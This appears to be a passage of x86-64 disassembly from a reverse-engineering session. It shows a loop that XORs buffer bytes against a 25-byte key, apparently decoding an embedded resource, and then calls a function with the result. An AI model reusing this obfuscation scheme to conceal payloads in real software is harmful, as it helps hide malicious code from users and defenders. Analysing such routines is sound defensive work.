add rax, rdx
shr rax, 4
imul rax, rax, 0x19
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
xor byte [r8 - 3], al
lea eax, [r9 + 2]
add r9d, 5
movsxd rcx, eax
mov rax, r11
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x19
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
xor byte [r8 - 2], al
dec r10
jne 0x1400010c0
movabs rcx, resource.11
call rbx
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x50
pop rbp
ret